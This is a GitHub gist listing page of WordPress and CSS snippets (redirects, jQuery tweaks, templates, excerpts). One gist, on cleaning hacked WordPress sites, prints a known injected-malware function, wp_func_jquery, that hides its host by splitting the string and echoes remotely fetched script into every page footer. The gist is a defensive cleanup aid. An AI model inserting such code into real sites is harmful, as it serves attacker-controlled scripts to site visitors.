Skip to content

Instantly share code, notes, and snippets.

East Side Code EastSideCode

View GitHub Profile
@EastSideCode
EastSideCode / .htaccess
Created Aug 7, 2018
Redirect WordPress site traffic once SSL is installed
View .htaccess
# Redirect HTTP to HTTPS
RewriteCond %{HTTPS} !=on
RewriteRule (.*) https://%{SERVER_NAME}/$1 [R,L]
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
View Media Queries
/* Smaller than standard 960 (devices and browsers) */
@media (max-width: 959px) {}
/* Tablet Portrait size to standard 960 (devices and browsers) */
@media (min-width: 768px) and (max-width: 959px) {}
/* All Mobile Sizes (devices and browser) */
@media (max-width: 767px) {}
/* Mobile Landscape Size to Tablet Portrait (devices and browsers) */
@EastSideCode
EastSideCode / functions.php
Created May 29, 2018
Remove jQuery Migrate and add async to jQuery in WordPress
View functions.php
// remove jquery migrate
add_filter( 'wp_default_scripts', 'dequeue_jquery_migrate' );
function dequeue_jquery_migrate( &$scripts){
if(!is_admin()){
$scripts->remove( 'jquery');
$scripts->add( 'jquery', false, array( 'jquery-core' ), '1.10.2' );
}
}
View blog-template.php
<h1><?php the_title(); ?></h1>
<?php $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;
$query = new WP_Query( array('posts_per_page' => 5, 'paged' => $paged, 'orderby'=>'date','order'=>'DESC') );
while ( $query->have_posts() ) : $query->the_post();
$hasPostThumb = '';
if (has_post_thumbnail()){
$hasPostThumb = true;
}
?>
@EastSideCode
EastSideCode / style.css
Created May 10, 2018
CSS for landing pages
View style.css
/* start langind page banner offers */
@media (min-width: 790px) {
.page-sec1 {
margin-top: 35px;
}
}
.page-sec1 {
float:left;
width:100%;
box-sizing: content-box;
@EastSideCode
EastSideCode / file.php
Created May 8, 2018
Removing queries that hack WordPress
View file.php
/*
Look for something like this
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
}
add_action('wp_footer', 'wp_func_jquery');
@EastSideCode
EastSideCode / style.css
Last active May 7, 2018
Vertical align floating images the easy way
View style.css
.image-container {
height: 200px; /* can be whatever */
}
.image-container:before {
content: ' ';
display: inline-block;
vertical-align: middle;
height: 100%;
}
@EastSideCode
EastSideCode / functions.php
Created May 3, 2018
Edit WordPress excerpts
View functions.php
// Replaces the excerpt "Read More" text by a link
function new_excerpt_more($more) {
global $post;
return '... <a class="read-more-link" href="'. get_permalink($post->ID) . '">Read More</a>';
}
add_filter('excerpt_more', 'new_excerpt_more');
@EastSideCode
EastSideCode / page-template.php
Created May 3, 2018
Add html sitemap to pages
View page-template.php
<div class="html-sitemap">
<h2>Author(s):</h2>
<ul class="sitemap-authors">
<?php
//http://codex.wordpress.org/Function_Reference/wp_list_authors
wp_list_authors('exclude_admin=1&optioncount=1');
?>
</ul>
<h2>Pages:</h2>
@EastSideCode
EastSideCode / functions.php
Created Apr 30, 2018
For development mode, check if user is logged in
View functions.php
<?php
// for development
$developmentMode = false;
$userLoggedIn = is_user_logged_in();
$currentUser = wp_get_current_user();
if (($currentUser->user_login == "lfico") && $userLoggedIn) {
$developmentMode = true;
}
You can’t perform that action at this time.